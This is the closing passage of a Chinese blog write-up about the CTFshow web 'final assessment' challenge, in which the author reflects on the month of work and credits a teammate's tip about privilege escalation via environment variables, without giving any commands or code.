好坑,放下来做其他事,几天后,pwn爷说getflag可以提权,我一百度...环境变量提权...,一种植物....

直接打成功....

该写感言了,写啥呢....借鉴下各位师傅的

太菜了,提权误我…应该花了断断续续一个月时间吧,第一台还好,简单的知识点,细心的就能过;第二台机是在备考操作系统无聊时写的,拿flag太上头了,一直在担心挂科,然后一直在提权卡住…最后队里的pwn爷帮助下才提的权…
做完了终极考核,可“说是终极,可ctf哪有终极?”,愿你我在终极考核名单上见,愿你我能一直保持着热爱…
宁静致远




群主的wp,我感觉有点小错,还有最后的提权我没看懂,我记得sh文件是无权限改的

[CTFshow web入门 终极考核 (shimo.im)](https://shimo.im/docs/3XYdJp3RwQw6kHCx/read)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值